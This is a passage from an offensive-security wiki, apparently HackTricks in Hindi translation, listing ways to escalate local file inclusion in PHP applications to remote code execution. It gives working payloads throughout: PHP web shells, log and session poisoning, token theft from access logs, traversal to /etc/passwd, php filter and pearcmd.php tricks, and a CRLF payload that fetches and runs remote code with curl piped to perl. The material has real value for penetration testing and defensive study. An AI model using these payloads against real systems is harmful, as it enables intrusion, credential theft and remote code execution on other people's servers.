एक्सेस लॉग पढ़कर GET-based auth tokens (token replay) हासिल करें

कई ऐप्स गलती से session/auth tokens को GET के माध्यम से स्वीकार कर लेते हैं (e.g., AuthenticationToken, token, sid)। अगर आपके पास web server logs में path traversal/LFI primitive है, तो आप access logs से उन tokens चुरा कर उन्हें replay करके authentication को पूरी तरह bypass कर सकते हैं।

How-to:

  • traversal/LFI का उपयोग करके web server access log पढ़ें। सामान्य स्थान:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • कुछ endpoints file reads को Base64-encoded में लौटाते हैं। यदि ऐसा है, तो उन्हें स्थानीय रूप से decode करें और log lines जांचें।
  • GET requests के लिए Grep करें जिनमें token parameter शामिल हो और उसका value पकड़ें, फिर उसे application entry point पर replay करें।

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

यदि body Base64 में है तो उसे डिकोड करें, फिर कैप्चर किया गया token replay करें:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

नोट्स:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
  • अगर ऐप multiple token names सपोर्ट करता है, तो सामान्य कुंजियों के लिए खोजें जैसे AuthenticationToken, token, sid, access_token.
  • जो भी tokens logs में leaked हों, उन्हें rotate करें.

ईमेल के जरिए

Send a mail एक internal account (user@localhost) को भेजें जिसमें आपका PHP payload जैसे <?php echo system($_REQUEST["cmd"]); ?> शामिल हो और उपयोगकर्ता के मेल को include करने की कोशिश करें पाथ जैसे /var/mail/<USERNAME> या /var/spool/mail/<USERNAME>

/proc/*/fd/* के जरिए

  1. बहुत सारे shells अपलोड करें (उदाहरण के लिए : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, यहाँ $PID = process का PID (brute forced किया जा सकता है) और $FD = file descriptor (इसे भी brute forced किया जा सकता है)

/proc/self/environ के जरिए

एक log file की तरह, payload को User-Agent में भेजें, यह /proc/self/environ file के अंदर प्रदर्शित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के जरिए

यदि आप फ़ाइल upload कर सकते हैं, तो बस उसमें shell payload inject कर दें (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फाइल को पढ़ने योग्य बनाए रखने के लिए सबसे अच्छा है कि pictures/doc/pdf के metadata में inject किया जाए।

ZIP फ़ाइल अपलोड के माध्यम से

एक ZIP फ़ाइल अपलोड करें जिसमें compressed PHP shell शामिल हो, और फिर उसे एक्सेस करें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions के माध्यम से

जांचें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये sessions /var/lib/php5/sess\[PHPSESSID]_ files में स्टोर होते हैं

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

कुकी को इस मान पर सेट करें: <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

PHP session file को include करने के लिए LFI का उपयोग करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh के माध्यम से

यदि ssh सक्रिय है तो जाँचें कि किस उपयोगकर्ता का उपयोग हो रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने की कोशिश करें

के माध्यम से vsftpd लॉग्स

FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log में स्थित हैं। उस स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद है, और एक्सपोज्ड vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम विचार किए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान username field में PHP payload inject करें।
  2. इंजेक्शन के बाद, LFI का उपयोग करके सर्वर लॉग्स /var/log/vsftpd.log से प्राप्त करें।

php base64 filter (using base64) के माध्यम से

जैसा कि this article में दिखाया गया है, PHP base64 filter सिर्फ Non-base64 को ignore कर देता है। आप इसे file extension check bypass करने के लिए इस्तेमाल कर सकते हैं: यदि आप ऐसा base64 प्रदान करते हैं जो “.php” पर समाप्त होता है, तो यह “.” को ignore कर देगा और base64 के अंत में “php” append कर देगा। यहाँ एक उदाहरण payload है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters के माध्यम से (कोई फ़ाइल आवश्यक नहीं)

यह writeup समझाती है कि आप आउटपुट के रूप में php filters to generate arbitrary content का उपयोग कर सकते हैं। जिसका मूलतः मतलब है कि आप include के लिए generate arbitrary php code कर सकते हैं without needing to write इसे किसी फ़ाइल में।

LFI2RCE via PHP Filters

segmentation fault के माध्यम से

एक फ़ाइल अपलोड करें जो /tmp में temporary के रूप में संग्रहीत होगी, फिर उसी request में एक segmentation fault ट्रिगर करें, और फिर temporary फ़ाइल डिलीट नहीं होगी और आप उसे खोज सकते हैं।

LFI2RCE via Segmentation Fault

Nginx temp file storage के माध्यम से

अगर आपने Local File Inclusion पाया है और Nginx PHP के सामने चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपने Local File Inclusion पाया है भले ही आपके पास don’t have a session हो और session.auto_start Off हो। यदि आप multipart POST डेटा में PHP_SESSION_UPLOAD_PROGRESS प्रदान करते हैं, तो PHP आपके लिए enable the session कर देगा। आप इसे RCE पाने के लिए दुरुपयोग कर सकते हैं:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows में temp file uploads के माध्यम से

अगर आपने Local File Inclusion पाया है और सर्वर Windows पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE Via temp file uploads

pearcmd.php + URL args के माध्यम से

जैसा कि explained in this post, स्क्रिप्ट /usr/local/lib/phppearcmd.php php docker images में डिफ़ॉल्ट रूप से मौजूद है। इसके अलावा, URL के माध्यम से स्क्रिप्ट को arguments पास करना संभव है क्योंकि संकेत है कि अगर किसी URL param में = नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखें भी watchTowr’s write-up और Orange Tsai’s “Confusion Attacks”.

निम्न request /tmp/hello.php में <?=phpinfo()?> कंटेंट के साथ एक फ़ाइल बनाएगा:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (से here):_

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

के माध्यम से phpinfo() (file_uploads = on)

यदि आपने एक Local File Inclusion पाया है और एक फ़ाइल जो phpinfo() प्रकट करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE via phpinfo()

के माध्यम से compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

यदि आपने एक Local File Inclusion पाया है और आप अस्थायी फ़ाइल का can exfiltrate the path कर सकते हैं लेकिन server यह checking कर रहा है कि file to be included has PHP marks, तो आप इस Race Condition के साथ उस bypass that check को आज़मा सकते हैं:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

के माध्यम से eternal waiting + bruteforce

यदि आप LFI का दुरुपयोग करके upload temporary files कर सकते हैं और server को PHP execution को hang करने पर मजबूर कर सकते हैं, तो आप घंटों brute force filenames during hours करके अस्थायी फ़ाइल को खोज सकते हैं:

LFI2RCE via Eternal waiting

Fatal Error तक

यदि आप किसी भी फ़ाइल को शामिल करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (उस त्रुटि को उत्पन्न करने के लिए आपको उसी फ़ाइल को 2 बार शामिल करने की आवश्यकता है).

मुझे नहीं पता यह कितना उपयोगी है पर यह उपयोगी हो सकता है।\ यहाँ तक कि यदि आप एक PHP Fatal Error पैदा करते हैं, तो अपलोड की गई PHP अस्थायी फ़ाइलें हटा दी जाती हैं.

क्लाइंट से traversal sequences को संरक्षित रखें

कुछ HTTP clients ../ को सामान्यीकृत या समेकित कर देते हैं इससे पहले कि request सर्वर तक पहुंचे, जिससे directory traversal payloads टूट जाते हैं। curl --path-as-is का उपयोग करें ताकि traversal अपरिवर्तित रहे जब आप log/download endpoints का दुरुपयोग कर रहे हों जो user-controlled filename को जोड़ते हैं, और pseudo-files जैसे /proc के लिए --ignore-content-length जोड़ें:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

इच्छित निर्देशिका से बाहर निकलने तक ../ सेगमेंट्स की संख्या समायोजित करें, फिर /etc/passwd, /proc/self/cwd/app.py, या अन्य source/config फ़ाइलें dump करें।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें